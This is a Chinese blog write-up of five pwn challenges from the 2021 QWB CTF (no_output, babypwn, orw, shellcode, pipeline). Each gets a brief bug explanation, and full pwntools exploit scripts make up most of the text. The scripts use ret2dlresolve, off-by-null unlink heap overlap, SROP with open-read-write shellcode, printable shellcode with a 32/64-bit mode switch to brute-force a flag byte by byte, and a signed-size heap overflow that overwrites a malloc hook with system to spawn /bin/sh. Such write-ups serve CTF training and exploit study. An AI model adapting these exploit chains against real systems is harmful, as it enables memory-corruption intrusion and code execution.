# 强网杯2021 pwn writeup by syclover

原创

77Pray 于 2021-06-15 18:40:01 发布 526 收藏

分类专栏： pwn



本文链接：https://blog.csdn.net/qq_51868336/article/details/117930799





## no_output

首先是利用strcpy把fd给覆盖为0

```
v3 = "tell me some thing";
read(0, buf, 0x30u);
v3 = "Tell me your name:\n";
read(0, src, 0x20u);
sub_80493EC(src);
strcpy(dest, src);
v3 = "now give you the flag\n";
read(fd, src, 16u);
```

然后read hello_boy 通过检测

```
dd offset aYouSeeThis   ; "you_see_this"
dd offset aHelloBoy     ; DATA XREF: sub_8049424+A4
ends                    ; "hello_boy"
```

接着触发算数运算错误

```
v3 = "give me the soul:";
__isoc99_scanf("%d", v2);
v3 = "give me the egg:";
__isoc99_scanf("%d", &v1);
result = v1;
if ( v1 )
{
  signal(8, sub_8049236);
  v2[1] = v2[0] / v1;
  result = signal(8, 0);
}
```

就能进入栈溢出函数

```
char buf[68]; // [esp+0h] [ebp-48h] BYREF

return read(0, buf, 256u);
```

最后就是直接用32位ret2dlresolve的模板了

```
from pwn import *
arch      = 32
challenge = "./test"
local = int(sys.argv[1])
context(log_level = "debug",os = "linux")
if local:
    r = process(challenge)
    #r = gdb.debug(challenge,"break main")
    #libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
    elf = ELF(challenge)
else:
    #libc = ELF("./libc.so.6")
    r = remote("39.105.138.97",1234)
    elf = ELF(challenge)
if arch==64:
    context.arch='amd64'
if arch==32:
    context.arch='i386'
p   = lambda      : pause()
s   = lambda x    : success(x)
re  = lambda x     : r.recv(x)
ru  = lambda x    : r.recvuntil(x)
rl  = lambda      : r.recvline()
sd  = lambda x    : r.send(x)
sl  = lambda x    : r.sendline(x)
itr  = lambda      : r.interactive()
sla = lambda a, b : r.sendlineafter(a, b)
sa  = lambda a, b : r.sendafter(a, b)
leave_ret = 0x080491a5
bss_stage = elf.bss() + 0x200
fake_ebp = bss_stage
offset = 0x4c-8+8
#read_plt  = elf.plt["read"]

#gdb.attach(r)
p1 = b"\x00" * 0x30
sd(p1)
sleep(1)
sd(b'A' * 0x20)
str1 = b'hello_boy'
str1 = str1.ljust(0x10,b'\x00')
sd(str1)
sl("-2147483648")
sl("-1")
sleep(0.1)

read_plt = 0x80490C4

ppp_ret = 0x08049581 # ROPgadget --binary test --only "pop|ret"
pop_ebp_ret = 0x08049583
leave_ret = 0x080491a5 # ROPgadget --binary test --only "leave|ret"
```

```
stack_size = 0x800
bss_addr = 0x0804c040 # readelf -S test | grep ".bss"
base_stage = bss_addr + stack_size


payload = flat('A' * offset
, p32(read_plt)
, p32(ppp_ret)
, p32(0)
, p32(base_stage)
, p32(100)
, p32(pop_ebp_ret)
, p32(base_stage)
, p32(leave_ret))
r.send(payload)

cmd = "/bin/sh"
plt_0 = 0x8049030 # objdump -d -j .plt test
rel_plt = 0x8048414 # objdump -s -j .rel.plt test
dynsym = 0x08048248  # readelf -S test
strtab = 0x08048318 #readelf -S test
fake_write_addr = base_stage + 28
fake_arg = fake_write_addr - rel_plt
r_offset = elf.got['read']

align = 0x10 - ((base_stage + 36 - dynsym) % 16)
fake_sym_addr = base_stage + 36 + align # 填充地址使其与dynsym的偏移16字节对齐（即两者的差值能被16整除），因为结构体sym的大小都是16字节
r_info = ((((fake_sym_addr - dynsym)//16) << 8) | 0x7) # 使其最低位为7，通过检测
fake_write_rel = flat(p32(r_offset), p32(r_info))
fake_write_str_addr = base_stage + 36 + align + 0x10
fake_name = fake_write_str_addr - strtab
fake_sym = flat(p32(fake_name),p32(0),p32(0),p32(0x12))
fake_write_str = 'system\x00'

payload2 = flat('AAAA'
, p32(plt_0)
, fake_arg
, p32(ppp_ret)
, p32(base_stage + 80)
, p32(base_stage + 80)
, p32(len(cmd))
, fake_write_rel # base_stage + 28
, 'A' * align # 用于对齐的填充
, fake_sym # base_stage + 36 + align
, fake_write_str # 伪造出的字符串
)
payload2 += flat('A' * (80-len(payload2)) , cmd + '\x00')
payload2 += flat('A' * (100-len(payload2)))
#pause()
r.send(payload2)
r.interactive()
```

## babypwn

限制点：glibc2.27，用seccomp禁掉了exec

漏洞点：edit函数有个隐性的off by null，当我们填充完chunk，然后下一个chunk的size为最低字节刚好为0x11时就能触发

```
while ( 1 )
{
  result = *chunk;
  if ( !result )
    break;
  if ( *chunk == 0x11 )
  {
    result = chunk;
    *chunk = 0;
    return result;
  }
  ++chunk;
}
```

然后我们依次把prev_size位高位清零，就能伪造prev_size，从而通过unlink实现overlap

利用思路：off by null 加 unlink 就能实现overlap，从而任意地址写，show函数有个加密

```
for ( i = 2; i > 0; --i )
  a1 ^= (0x20 * a1) ^ ((a1 ^ (0x20 * a1)) >> 0x11) ^ (((0x20 * a1) ^ a1 ^ ((a1 ^ (0x20 * a1)) >> 0x11)) << 13);
return printf("%lx\n", a1);
```

用z3解就行，把一个unsortedbin申请回来再show它的fd，就能泄露libc，最后套SROP读flag.txt的模板即可

```
from pwn import *
from z3 import *
context.log_level = 'debug'
context.arch = 'amd64'
context.binary = './babypwn'
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#sh = process("./babypwn")
#print(libc.sym['_IO_2_1_stdout_'])
#libc = ELF('./libc-2.31.so')
sh =remote("39.105.130.158",8888)


def solve(target):
    a1 = BitVec('a1', 33)
    ori_a1 = a1
    for i in range(2):
        item1 = (32 * a1) & 0xffffffff
        a1 ^= item1 ^ (((a1 ^ item1) >> 17) & 0xffffffff) ^ (((item1 ^ a1 ^ (((a1 ^ item1) >> 17) & 0xffffffff))
 << 13) & 0xffffffff)
    s = Solver()
    s.add(a1 == target)
    s.check()
    result = s.model()
    return result[ori_a1].as_long()


def add(size):
    sh.sendlineafter(">>> ","1")
    sh.sendafter("size:\n",str(size))

def delete(index):
    sh.sendlineafter(">>> ","2")
```

```
    sh.sendlineafter("index:\n",str(index))

def edit(index,data):
    sh.sendlineafter(">>> ","3")
    sh.sendlineafter("index:\n",str(index))
    sh.sendafter("content:\n",data)

def show(index):
    sh.sendlineafter(">>> ","4")
    sh.sendlineafter("index:",str(index))
    sh.recvuntil('\n')
    re1 = int(sh.recvuntil("\n")[:-1],16)
    re1 = solve(re1)
    re2 = int(sh.recvuntil("\n")[:-1],16)
    re2 = solve(re2) * 0x100000000
    return (re1+re2)
    #return int(sh.recvuntil("\n")[:-1],16)

def debug():
    gdb.attach(sh)
    pause()


for i in range(7):
    add(0x100)  # 0-6

for i in range(7):
    add(0xf0)
for i in range(7):
    delete(i+7)


add(0x108) #7
add(0x80) #8
add(0x108) #9
add(0x100) #10
add(0x100) #11
edit(10,b'a'*0xf0+p64(256)+p64(0x21))
edit(11,b'\x21'*0x10)
edit(9,'a'*0x108)
edit(9,'a'*0x107+'\x11')
edit(9,'a'*0x106+'\x11')
edit(9,'a'*0x105+'\x11')
edit(9,'a'*0x104+'\x11')
edit(9,'a'*0x103+'\x11')
edit(9,'a'*0x102+'\x11')
edit(9,'a'*0x100+'\xb0\x02')
for i in range(7):
    delete(i)
#edit(7,b'a'*0x100+p64(0x110))
delete(7)
delete(10)
#debug()
delete(8)
add(0x190) #0
libc_base = show(9) - libc.sym['__malloc_hook'] - 0x10 -96
print(hex(libc_base))
malloc_hook = libc_base + libc.sym['__malloc_hook']
free_hook = libc_base + libc.symbols['__free_hook']
#debug()
```

```
edit(0,b'\x00'*0x100+p64(0)+p64(0x90)+p64(free_hook))
add(0x80) #1
add(0x80) #2
setcontext = libc_base + libc.symbols['setcontext']
success("setcontext: " + hex(setcontext))
context.arch = "amd64"
new_execve_env = free_hook & 0xfffffffffffff000
shellcode1 = '''
xor rdi, rdi
mov rsi, %d
mov edx, 0x1000

mov eax, 0
syscall

jmp rsi
''' % new_execve_env
edit(2, p64(setcontext+53)+ p64(free_hook + 0x10) + asm(shellcode1))
#print(hex(free_hook))
#debug()
frame = SigreturnFrame()
frame.rsp = free_hook + 8
frame.rip = libc_base + libc.symbols['mprotect'] # 0xa8 rcx
frame.rdi = new_execve_env
frame.rsi = 0x1000
frame.rdx = 4 | 2 | 1
#frame = frame.decode('ascii')
edit(11,bytes(frame))
#debug()
delete(11)

shellcode = ""
shellcode += shellcraft.open('flag.txt')
shellcode += shellcraft.read(3, 'rsp', 100)
shellcode += shellcraft.write(1, 'rsp', 100)
payload = asm(shellcode)

sh.sendline(payload)
sh.interactive()
```

## orw

漏洞点在add和free chunk时没有检测下标

```
puts("index:");
index = myread1();
puts("size:");
v2 = myread1();
if ( v2 >= 0 && v2 <= 8 && index <= 1 )
{
  qword_55CC7A2C80E0[index] = malloc(v2);
  if ( !qword_55CC7A2C80E0[index] )
  {
    puts("error");
    exit(0);
  }
  puts("content:");
  myread(qword_55CC7A2C80E0[index], v2);
```

```
if ( qword_55CC7A2C8138 <= 0 )
{
  puts("index:");
  v1 = myread1();
  free(qword_55CC7A2C80E0[v1]);
  qword_55CC7A2C80E0[v1] = 0LL;
  result = ++qword_55CC7A2C8138;
}
```

所以我们可以填负数直接写free函数的GOT表，由于给了rwx权限

```
[*] '/mnt/c/Users/77/Downloads/[强网先锋]orw/附件/pwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
```

可以直接写shellcode执行，最后shellcode拓展攻击写orw

```
from pwn import *
import sys
context.log_level = "debug"
context.arch='amd64'

log    = lambda name, info : success(name +" :"+ hex(info))
search = lambda function   : libc.symbols[function]
sd     = lambda msg        : p.send(msg)
sdl    = lambda msg        : p.sendline(msg)
sda    = lambda info, msg: p.sendafter(info, msg)
sdla   = lambda info, msg: p.sendlineafter(info, msg)
rc     = lambda num  : p.recv(str(num))
ru     = lambda msg  : p.recvuntil(msg)
uu32   = lambda msg  :u32(msg.ljust(4, '\x00'))
uu64   = lambda msg  :u64(msg.ljust(8, '\x00'))

local = 0
chunk_list = 0x5555557560e0#0x2020E0
times = 0x555555756130
```

```
def db():
 if local == 'l':
  byte = raw_input("debug or not:")
  if byte == 'c\n':
   gdb.attach(p, "b *0x555555757160")
  else:
   print "No"
 else:
  success("Remoting...")

def choose(num):
 p.sendlineafter("choice >>", str(num))

def add(idx, size, msg):
 choose(1)
 sdla("index:", str(idx))
 sdla("size", str(size))
 sdla("content:", msg)

def delete(idx):

    choose(4)
    sdla("index:", str(idx))

def exp():
 shell = "\x48\x87\xDF" #xchg rdi, rbx
 shell += "\x48\x96" #xchg rsi, rbx
 shell += "\x48\x83\xF6\x70" #xor rsi,0x70
 shell +=  "\x6A\x00\x58" #push 0; pop eax;
 shell += "\xBA\xF0\x00\x00\x00" #push 0xf0;pop edx;
 shell += "\x0F\x05"    #syscall
 shell += "\x56\x5C\xFF\xE4" #push rsi;pop rsp;jmp rsp;
 add(-25, 0, shell)
 db()
 delete(-25)

 '''
  push 0x67616c66
        mov rdi, rsp
        xor edx, edx /* 0 */
        xor esi, esi /* 0 */
        /* call open() */
        push 2 /* 2 */
        pop rax
        syscall
    '''
 payload = asm(shellcraft.open('flag'))
 '''
 xchg rdi,rax
 xchg rsi, rcx
 push 0x90
 pop rdx
 push 0
 pop rax
 syscall
 '''
 payload += "\x48\x97\x48\x87\xCE\x68\x90\x00\x00\x00\x5A\x6A\x00\x58\x48\x81\xF6\xE0\x00\x00\x00\x0F\x05"
 '''
 push 0x1
```

```
pop rax
push 0x1
pop rdi
syscall
'''
payload+= "\x6A\x01\x58\x6A\x01\x5F\x0F\x05"
p.sendline(payload)
p.interactive()


if __name__ == '__main__':
 if local == 'l':
  p = process("./pwn")
  libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
  #p = process(['./dubblesort'],env={"LD_PRELOAD":"./libc_64.so.6"})
 else:
  p = remote("39.105.131.68", "12354")
 exp()
```

## shellcode

- alpha3 加密shellcode可以获得可打印字符的shellcode,
- 通过切换32位 64位可以从获得open和read的系统调用，
- 读入flag以后没有打印，使用cmp+jz的形式，逐位比较，如果对应位字符正确就死循环，

```
v0 = sys_alarm(0x3Cu);
v1 = sys_prctl(38, 1uLL, 0LL, 0LL);
v3 = sys_prctl(22, 2uLL, arg3, v2);
v4 = sys_mmap(0LL, 0x1000uLL, 7uLL, 0x22uLL, 0xFFFFFFFFuLL, 0LL);
v5 = sys_read(0, v4, 0x1000uLL);
v6 = v5;
if ( v4[v5 - 1] == 10 )
{
  v4[v5 - 1] = 0;
  v6 = v5 - 1;
}
for ( i = 0; i < v6; ++i )
{
  if ( v4[i] <= 31 || v4[i] == 127 )
    goto LABEL_10;
}
(v4)();
```

第一段shellcode必须可打印，先mmap出来一块32位可访问内存，读入第二段shellcode, 第二段可以不要求可打印了，这一段主要是为了配合`retfq`跳到32位执行，

然后到32位以后可以使用open系统调用了，再跳回64位，这时候可以直接`retfq`到下一句，可以写一起，然后64位下可以read进来flag, 然后使用一段`cmp` + `jz`的形式写一段比较，如果flag对应位正确的话死循环，这样可以通过程序是否崩溃判断正确，于是可以进行爆破。

```python
from pwn import *

def pwn(cn, reloc, ch):
        payload = "Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G2p160h05103f0u0Y3i4J2A0p0s2F0Z0r
0j030M071n0C0j0N050A403j3e2L0P104N0b0p2J0p7l052E3P0w0q2N0l2I2s127p2n0p0u0x4J04"
        cn.sendline(payload)
        open32 = b'j\x01\xfe\x0c$hflag\x89\xe31\xc91\xd2j\x05X\xcd\x80'

        to64 = b"j3h\x2e@@@H\xcb"
        read64 = b'j\x03_1\xc0jPZH\x89\xe6\x0f\x05'

        if reloc == 0:
            shellcode = "cmp byte ptr[rsp+{0}], {1}; jz $-4; ret".format(reloc, ch)
        else:
            shellcode = "cmp byte ptr[rsp+{0}], {1}; jz $-5; ret".format(reloc, ch)
        check = asm(shellcode, arch='amd64', os='linux')

        payload = open32 + to64 + read64 + check

        cn.send(payload)


# 爆破:
reloc = 0
ans = []
debug = 1
my_flag = ''
while True:
        for ch in range(33, 127):
            cn = remote("39.105.137.118", 50050)
            # cn = process("./shellcode")
            try:
                print(ch)
                pwn(cn, reloc, ch)
                cn.recvline(timeout=3.0)
                #p.interactive()
                my_flag = my_flag + chr(ch)
                print("=>", my_flag)
                reloc += 1
                cn.close()
                break;
            except EOFError:
                ch += 1
                cn.close()

print("".join([chr(i) for i in ans]))

# 逐字节验证了下:
flag = 'flag{cdc31bf52a72521c93b690ad1978856d}'
len1 = len(flag)

for i in range(len1):
    cn = remote("39.105.137.118", 50050)
    pwn(cn, i, ord(flag[i]))
    print('ok=>', i, flag[i])
    cn.interactive()
```

## pipeline

- libc2.31
- 堆溢出
- 配合对风水直接修改pipe->data， 实现任意地址修改，

漏洞主要是写入data的时候v1是有符号16位，

```
size = read_number("size: ");
printf("data: ");
*&v1 = chunk->size - chunk->offset;
if ( size <= *&v1 )
  v1 = size;
result = my_read((chunk->data + chunk->offset), v1);
```

后面进入函数以后是无符号整数， 会从int 16为拓展为unsigned int 64，

```
unsigned __int64 result; // rax
char buf; // [rsp+1Bh] [rbp-5h] BYREF
int i; // [rsp+1Ch] [rbp-4h]

for ( i = 0; ; ++i )
{
  result = a2;
  if ( i >= result )
    break;
  if ( read(0, &buf, 1uLL) <= 0 )
  {
    puts("read error");
    exit(0);
  }
```

```
      mov     [rbp+var_18], rdi
      mov     eax, esi
      mov     [rbp+var_1C], ax
      mov     [rbp+var_4], 0
```

这里的绕过可以在前面`if (size <= v1)`使用v1为负数， 然后进入`my_read`函数以后截取后部分这里会拓展为int类型， 这时候可以让后半部分为正数， 我们构造出来一个0xf0f00f0f的输入， 即可在后面实现`my_read(buf, 0x0f0f)`的溢出，

配合堆风水，改掉对应的pipe->data位， 实现任意地址写

```
from pwn import *

pie  = 1
arch = 64
bps  = [0x00000000000018AF]

def pipe():
    sla(">> ", "1")

def data(index, offset, size):
    sla(">> ", '2')
    sla('index: ', str(index))
    sla('offset: ', str(offset))
```

```python
    sla('size: ', str(size))

def edit(index, size, data):
    sla('>> ', '4')
    sla('index: ', str(index))
    sla('size: ', str(size))
    sla('data: ', data)

def show(index):
    sla('>> ', '5')
    sla('index: ', str(index))

def dele(index):
    sla('>> ', '3')
    sla('index: ', str(index))


def exp():
    pipe()
    pipe()
    pipe()

    data(0, 0, 0x410)
    data(1, 0, 0x38)
    data(0, 0, 0x420)

    pipe()
    data(2, 0, 0x40)

    pipe()
    show(2)
    ru('data: ')
    LIBC = u64(re(6, 2).ljust(8, b'\x00')) - 0x3b5be0
    slog['libc'] = LIBC

    data(4, 0, 0x40)
    edit(2, 0xf0f00ff0, flat('a' * 0x48, 0x21, LIBC + libc.sym['__realloc_hook']))
    edit(4, 8, p64(LIBC + libc.sym['system']))

    edit(0, 0x8, '/bin/sh\x00')

    data(0, 0, 0x30)

context.os='linux'

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']

slog = {'name' : 111}
local = int(sys.argv[1])

if arch==64:
    context.arch='amd64'
if arch==32:
    context.arch='i386'

if local:
    cn = process('./rbin')
    # cn = process(['./ld', './bin'], env={"LD_PRELOAD":"./libc"})
```

```
    libc = ELF("/glibc/2.31/64/lib/libc-2.31.so")
else:
    cn = remote( )

elf = ELF('./bin')

re  = lambda m, t : cn.recv(numb=m, timeout=t)
recv= lambda      : cn.recv()
ru  = lambda x    : cn.recvuntil(x)
rl  = lambda      : cn.recvline()
sd  = lambda x    : cn.send(x)
sl  = lambda x    : cn.sendline(x)
ia  = lambda      : cn.interactive()
sla = lambda a, b : cn.sendlineafter(a, b)
sa  = lambda a, b : cn.sendafter(a, b)
sll = lambda x    : cn.sendlineafter(':', x)

exp()

slog_show()

ia()
```